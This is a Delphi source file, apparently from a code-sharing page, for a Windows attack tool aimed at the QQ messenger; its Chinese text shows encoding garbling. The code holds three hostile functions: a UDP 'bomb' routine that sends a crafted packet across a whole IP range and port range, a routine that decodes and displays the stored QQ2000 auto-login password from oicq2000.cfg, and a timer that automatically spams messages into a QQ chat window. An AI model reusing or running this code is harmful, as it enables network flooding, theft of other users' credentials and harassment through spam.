?? unit1.pas
字號(hào):
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, KsHooks, KsForms, KsSkinForms, KsSkinEngine, KsControls, KsTabs,
KsSkinTabs, Grids, StdCtrls, RzLabel, ExtCtrls, jpeg, KsButtons,
KsSkinButtons, Mask, RzEdit, RzBtnEdt, RzCommon, RzSelDir, KsEdits,
KsSkinEdits,winsock;
type
TForm1 = class(TForm)
SeSkinEngine1: TSeSkinEngine;
SeSkinForm1: TSeSkinForm;
SeSkinTabControl1: TSeSkinTabControl;
TKsCustomTabSheet1: TKsCustomTabSheet;
TKsCustomTabSheet2: TKsCustomTabSheet;
TKsCustomTabSheet3: TKsCustomTabSheet;
TKsCustomTabSheet4: TKsCustomTabSheet;
Image1: TImage;
RzLabel4: TRzLabel;
Image2: TImage;
StringGrid: TStringGrid;
RzURLLabel2: TRzURLLabel;
RzURLLabel1: TRzURLLabel;
Image3: TImage;
Label1: TLabel;
RzSelDirDialog1: TRzSelDirDialog;
RzButtonEdit1: TRzButtonEdit;
SeSkinButton1: TSeSkinButton;
RzLabel2: TRzLabel;
RzLabel1: TRzLabel;
Timer1: TTimer;
SeSkinEdit1: TSeSkinEdit;
SeSkinEdit2: TSeSkinEdit;
SeSkinButton2: TSeSkinButton;
SeSkinButton3: TSeSkinButton;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
RzLabel5: TRzLabel;
RzLabel6: TRzLabel;
RzLabel7: TRzLabel;
RzLabel8: TRzLabel;
Button1: TSeSkinButton;
Edit1: TSeSkinEdit;
Edit2: TSeSkinEdit;
Edit3: TSeSkinEdit;
Edit4: TSeSkinEdit;
Label5: TLabel;
Label6: TLabel;
Label7: TLabel;
Label8: TLabel;
Label9: TLabel;
Label10: TLabel;
Label11: TLabel;
RzURLLabel3: TRzURLLabel;
procedure FormCreate(Sender: TObject);
procedure StringGridDrawCell(Sender: TObject; ACol, ARow: Integer;
Rect: TRect; State: TGridDrawState);
procedure RzButtonEdit1ButtonClick(Sender: TObject);
procedure SeSkinButton1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure SeSkinButton3Click(Sender: TObject);
procedure SeSkinButton2Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
FTextHandle: HWND; //qq消息輸入框句柄
FButtonHandle: HWND; //發(fā)送按鈕輸入框
public
{ Public declarations }
procedure Bomb;
end;
Function HexToDec(const Value :string) : integer;
var
Form1: TForm1;
bombexit:boolean=false;
implementation
{$R *.dfm}
procedure getIP(s:string;var a1,a2,a3,a4:byte);
var
b:byte;
begin
b:=pos('.',s);a1:=strtoint(copy(s,1,b-1));s:=copy(s,b+1,255);
b:=pos('.',s);a2:=strtoint(copy(s,1,b-1));s:=copy(s,b+1,255);
b:=pos('.',s);a3:=strtoint(copy(s,1,b-1));s:=copy(s,b+1,255);
a4:=strtoint(s);
end;
procedure PMessage;
var
Msg:TMsg;
begin
while PeekMessage(Msg,0,0,0,1) do begin
if Msg.Message<>18 then begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;
end;
procedure TForm1.Bomb;
var
a1,a2,a3,a4,b1,b2,b3,b4,c1,c2,c3,c4:byte;//IP
p1,p2,p3:word;//port
b:longint;
wsadata:TWSAData;
UDP:Thandle;
sain:TsockAddrIn;
dw:dword;
buf,s:string;
aa:integer;
begin
getIP(Edit1.text,a1,a2,a3,a4);
getIP(Edit2.text,b1,b2,b3,b4);
p1:=strtoint(edit3.text);p2:=strtoint(edit4.text);
WSAStartup($101,wsadata);
sain.sin_family:=AF_INET;
sain.sin_port:=htons(p1);
sain.sin_addr.S_addr:=0;
UDP:=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP);
Bind(UDP,sain,sizeof(sain));
dw:=sizeof(sain);
buf:=#02#70#63#00#01#11#03;
setlength(buf,7);
aa:=length(buf);
Screen.Cursor:=crHourglass;
for c1:=a1 to b1 do begin
if bombexit=true then break;
for c2:=a2 to b2 do begin
if bombexit=true then break;
for c3:=a3 to b3 do begin
if bombexit=true then break;
for c4:=a4 to b4 do begin
if bombexit=true then break;
s:=inttostr(c1)+'.'+inttostr(c2)+'.'+inttostr(c3)+'.'+inttostr(c4);
b:=inet_addr(pchar(s));
sain.sin_addr.S_addr:=b;
for p3:=p1 to p2 do begin
if bombexit=true then break;
pmessage;
sain.sin_port:=htons(p3);//port
sendto(UDP,Buf[1],aa,0,sain,dw);
label5.caption:=s+':'+inttostr(p3);
pmessage;
sleep(3);
end;
end;
end;
end;
end;
label5.caption:='OK!';
closesocket(UDP);
WSAcleanup;
Screen.Cursor:=crDefault;
Button1.caption:='攻擊'
end;
Function HexToDec(const Value :string) : integer;
CONST HEX : ARRAY['A'..'F'] OF INTEGER = (10,11,12,13,14,15);
VAR
str : String;
Int : Integer;
i : integer;
BEGIN
Str := UpperCase(Value);
Int := 0;
FOR i := 1 TO Length(str) DO
IF str[i] < 'A' THEN
Int := Int * 16 + ORD(str[i]) - 48
ELSE
Int := Int * 16 + HEX[str[i]];
Result := Int;
end;
//這個(gè)函數(shù)取當(dāng)前qq發(fā)送窗口上“送訊息”的按鈕的句柄
//function EnumChildWindowsProc(hwnd: Integer; lparam: Longint):Boolean; stdcall;
function GetButtonHandle(hwnd: Integer; lparam: Longint):Boolean; stdcall;
var
buffer: array[0..255] of Char;
buffer1: array[0..255] of Char;
begin
Result := True;
//得到目標(biāo)窗口的控件
GetClassName(hwnd,buffer,256);
//找到發(fā)消息的目標(biāo)窗口的目標(biāo)控件
if StrPas(Buffer)='Button' then
begin
GetWindowText(hwnd,buffer1,100);
if buffer1 = '送訊息(&S)' then
begin
PInteger(lparam)^ := hwnd; //得到目標(biāo)控件的Hwnd(句柄)
Result:=False; //終止循環(huán)
end;
end;
end;//end of function
//這個(gè)函數(shù)取當(dāng)前qq發(fā)送窗口上消息框句柄
//function EnumChildWindowsProc(hwnd: Integer; lparam: Longint):Boolean; stdcall;
function GetEditHandle(hwnd: Integer; lparam: Longint):Boolean; stdcall;
var
buffer: array[0..255] of Char;
buffer1: array[0..255] of Char;
begin
Result := True;
//得到目標(biāo)窗口的控件
GetClassName(hwnd,buffer,256);
//找到發(fā)消息的目標(biāo)窗口的目標(biāo)控件
if StrPas(Buffer)='Edit' then
begin
GetWindowText(hwnd,buffer1,100);
PInteger(lparam)^ := hwnd; //得到目標(biāo)控件的Hwnd(句柄)
Result:=False; //終止循環(huán)
end;
end;//end of function
procedure TForm1.FormCreate(Sender: TObject);
begin
StringGrid.ClientWidth := StringGrid.ColCount * (StringGrid.DefaultColWidth + 1);
StringGrid.ClientHeight := StringGrid.RowCount * (StringGrid.DefaultRowHeight + 1);
IF not FileExists('Whistler.skin') Then
Showmessage('皮膚文件不存在,將以普通模式顯示')
end;
procedure TForm1.StringGridDrawCell(Sender: TObject; ACol, ARow: Integer;
Rect: TRect; State: TGridDrawState);
var
S: string;
W, H: Integer;
begin
W := Rect.Right - Rect.Left +1;
H := Rect.Bottom - Rect.Top + 1;
with Sender as TStringGrid do
begin
S := Chr((ARow + 2) * 16 + ACol );
Canvas.TextOut(Rect.Left + W div 2 - Canvas.TextWidth(S) div 2, Rect.Top + H div 2 - Canvas.TextHeight(S) div 2, S);
end;
end;
procedure TForm1.RzButtonEdit1ButtonClick(Sender: TObject);
begin
if RzSelDirDialog1.Execute then
RzButtonEdit1.Text:= RzSelDirDialog1.Directory;
end;
procedure TForm1.SeSkinButton1Click(Sender: TObject);
var
i,f1,len,asinum: integer;
str,strhex,password: string;
begin
if RzButtonEdit1.Text<>'' then
begin
if not Fileexists(RzButtonEdit1.Text+'\dat\oicq2000.cfg') then
begin
showmessage('非法QQ2000目錄!請(qǐng)重新選擇!');
exit;
end;
try
f1 := fileopen(RzButtonEdit1.Text+'\dat\oicq2000.cfg', fmOpenRead);
if f1 > 0 then
begin
len := fileseek(f1, 0, 2);
fileseek(f1, 0, 0);
str := stringofchar(#0, len);
fileread(f1, str[1], len);
fileclose(f1);
for i:=9 to (HexToDec(format('%x',[ord(str[5])]))+8) do //
begin
strhex:=format('%x',[ord(str[i])]);
asinum:=255-HexToDec(strhex);
password:=password+chr(asinum);
end;
if password='' then
Showmessage('非自動(dòng)登陸無法取得!')
else Showmessage('成功取得密碼:'+password);
end;
except
showmessage('暫時(shí)無法處理密碼文件!');
exit;
end;
end
else
begin
showmessage('非法QQ2000目錄!請(qǐng)重新選擇!');
exit;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
{定時(shí)發(fā)送}
//設(shè)發(fā)送文本
SendMessage(FTextHandle,WM_SETTEXT,0,Integer(pchar(SeSkinEdit2.Text)));
//發(fā)送按鈕
//SendMessage(FButtonHandle,BN_CLICKED,0,0);
SendMessage(FButtonHandle,WM_LBUTTONDOWN,0,0);
SendMessage(FButtonHandle,WM_LBUTTONUP,0,0);
end;
procedure TForm1.SeSkinButton3Click(Sender: TObject);
var
Handle: Integer;
tmpHandle: Integer;
begin
{取句柄}
Handle := FindWindow(nil,'對(duì)話模式'); //就是窗口的Caption
if Handle<>0 then
begin
tmpHandle := Handle;
//在這里循環(huán)取到想要的句柄為止
//取發(fā)送按鈕的,F(xiàn)ButtonHandle
EnumChildWindows(Handle,@GetButtonHandle,Integer(@Handle));
FButtonHandle := Handle;
//取消息輸入框的,F(xiàn)TextHandle
EnumChildWindows(tmpHandle,@GetEditHandle,Integer(@tmpHandle));
FTextHandle := tmpHandle;
Timer1.Interval := StrToInt(SeSkinEdit1.Text+'000');
Timer1.Enabled := true;
end;//end of if
end;
procedure TForm1.SeSkinButton2Click(Sender: TObject);
begin
Timer1.Enabled := false;//關(guān)閉定時(shí)器
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
bombexit:=false;
if Button1.caption='攻擊' then
begin
Button1.caption:='停止';
bomb;
end
else
begin
Button1.caption:='停止';
bombexit:=true;
sleep(5);
end;
end;
end.
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號(hào)
Ctrl + =
減小字號(hào)
Ctrl + -